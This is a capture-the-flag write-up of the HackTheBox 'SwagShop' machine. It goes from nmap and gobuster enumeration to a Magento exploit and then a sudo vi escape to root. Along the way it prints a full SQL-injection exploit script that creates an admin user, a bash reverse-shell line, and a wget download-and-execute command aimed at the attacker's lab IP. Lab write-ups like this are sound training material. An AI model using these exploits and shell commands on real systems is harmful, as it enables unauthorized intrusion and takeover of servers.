Nmap
Port 80
Gobuster
Exploitation
Post exploitation
Enumeration
Sudo
Privilege escalation: www-data to root
Welcome to the SwagShop writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k
SwagShop
tags: HTB
Easy
Linux
OSCP
Platform: Hackthebox
Difficult: Easy
S.O.: Linux
Link: Click here
Enumeration
Nmap
To get started, we run a quick open ports scan.
$ nmap -p- -T4 10.10.10.140
Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-17 09:20 CEST
Nmap scan report for 10.10.10.140
Host is up (0.093s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 36.14 seconds
Now that we know the open ports, let's scan them in depth.
$ nmap -A -Pn -p 22,80 10.10.10.140
Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-17 09:22 CEST
Nmap scan report for 10.10.10.140
Host is up (0.094s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
| 256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_ 256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home page
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.2 - 4.9 (95%), Linux 3.8 - 3.11 (95%), Linux 4.8 (95%), Linux 4.4 (95%), Linux 4.9 (95%), Linux 3.16 (95%), Linux 3.18 (95%), Linux 4.2 (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 93.38 ms 10.10.14.1
2 93.54 ms 10.10.10.140
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.50 seconds
Port 80
When accessing port 80 from our browser we can see that there is a website made with Magento
.
Gobuster
$ gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.140/ -x php -t 50 2>/dev/null
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.140/
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2021/04/18 08:41:19 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/app (Status: 301)
/api.php (Status: 200)
/cron.php (Status: 200)
/errors (Status: 301)
/favicon.ico (Status: 200)
/includes (Status: 301)
/install.php (Status: 200)
/js (Status: 301)
/index.php (Status: 200)
/lib (Status: 301)
/media (Status: 301)
/pkginfo (Status: 301)
/server-status (Status: 403)
/shell (Status: 301)
/skin (Status: 301)
/var (Status: 301)
===============================================================
2021/04/18 08:45:47 Finished
===============================================================
Browsing the website and looking at the browser's address bar, it seems that the website is under the URL http://10.10.10.140/index.php/...
We are going to execute gobuster about it.
$ gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.140/index.php/ -x php -t 50 2>/dev/null
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.140/index.php/
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2021/04/18 09:03:39 Starting gobuster
===============================================================
/0 (Status: 200)
/Home (Status: 200)
/admin (Status: 200)
^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2021/04/18 09:14:12 Finished
===============================================================
And by accessing http://10.10.10.140/index.php/admin
we can find the administration login.
Exploitation
Searching for Google I have found this exploit that seeing the code seems to create a user with administrator permissions.
In addition, I have found this other exploit that allows us to get a RCE with an administration account.
We modify the exploit a little to make it work with arguments.
import requests
import base64
import sys
target = sys.argv[1]
if not target.startswith("http"):
target = "http://" + target
if target.endswith("/"):
target = target[:-1]
target_url = target + "/index.php/admin/Cms_Wysiwyg/directive/index/"
q="""
SET @SALT = 'rp';
SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
"""
query = q.replace("\n", "").format(username=sys.argv[2], password=sys.argv[3])
pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)
# e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is{{block type=Adminhtml/report_search_grid output=getCsvFile}}
r = requests.post(target_url,
data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
"filter": base64.b64encode(pfilter),
"forwarded": 1})
if r.ok:
print "WORKED"
print "Check {0}/admin with creds {1}:{2}".format(target, sys.argv[2], sys.argv[3])
else:
print "DID NOT WORK"
And we run it
$ python 37977.py http://10.10.10.140/ x4v1l0k x4v1l0k
WORKED
Check http://10.10.10.140/admin with creds x4v1l0k:x4v1l0k
Perfect, we tried the credentials created in the /admin
authentication form and work! We are going to use the second exploit to get a RCE.
In order to use it, we need to make some small changes.
- In lines 32 and 33 we need to put the credentials that we have just created.
username = 'x4v1l0k'
password = 'x4v1l0k'
- On line 35 we must put the date we obtain from the file local.xml.
install_date = 'Wed, 08 May 2019 07:23:09 +0000' # This needs to be the exact date from /app/etc/local.xml
If when executing the exploit it reports this failure:
Traceback (most recent call last):
File "37811.py", line 70, in <module>
tunnel = tunnel.group(1)
AttributeError: 'NoneType' object has no attribute 'group'
We can place an order in the store and from the administration panel mark it as a Sent. After this, it should be solved.
$ python 37811.py http://10.10.10.140/index.php/admin/ "uname -a"
Linux swagshop 4.4.0-146-generic #172-Ubuntu SMP Wed Apr 3 09:00:08 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
Let's try to get a reverse shell. To do this, we are going to create a shell.sh
with bash -c 'bash -i> & /dev/tcp/10.10.14.3/8787 0> & 1'
inside. And let's load it and execute it on the machine using the exploit with a terminal to listening.
$ python 37811.py http://10.10.10.140/index.php/admin/ "wget 10.10.14.3/shell.sh -O /tmp/shell.sh;chmod +x /tmp/shell.sh;bash /tmp/shell.sh"
$ nc -lnvp 8787
listening on [any] 8787 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.140] 45100
bash: cannot set terminal process group (1300): Inappropriate ioctl for device
bash: no job control in this shell
www-data@swagshop:/var/www/html$
Post exploitation
Enumeration
Sudo
As we see, we can run vi
as a pa password root on any file that is within/var/www/html/
.
www-data@swagshop:/var/www/html$ sudo -l
Matching Defaults entries for www-data on swagshop:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on swagshop:
(root) NOPASSWD: /usr/bin/vi /var/www/html/*
Privilege escalation: www-data to root
From vi
we can run System Commands by typing :!Command
so, let's get a console like root.
www-data@swagshop:/var/www/html$ sudo vi /var/www/html/x4v1l0k
[vi]
:!/bin/bash
root@swagshop:/var/www/html# id
uid=0(root) gid=0(root) groups=0(root)
And now, we can read both flags!
root@swagshop:/var/www/html# cat /home/haris/user.txt
CEnSORED_FLAG
root@swagshop:/var/www/html# cat /root/root.txt
CEnSORED_FLAG
___ ___
/| |/|\| |\
/_| ´ |.` |_\ We are open! (Almost)
| |. |
| |. | Join the beta HTB Swag Store!
|___|.__| https://hackthebox.store/password
PS: Use root flag as password!
root@swagshop:/var/www/html#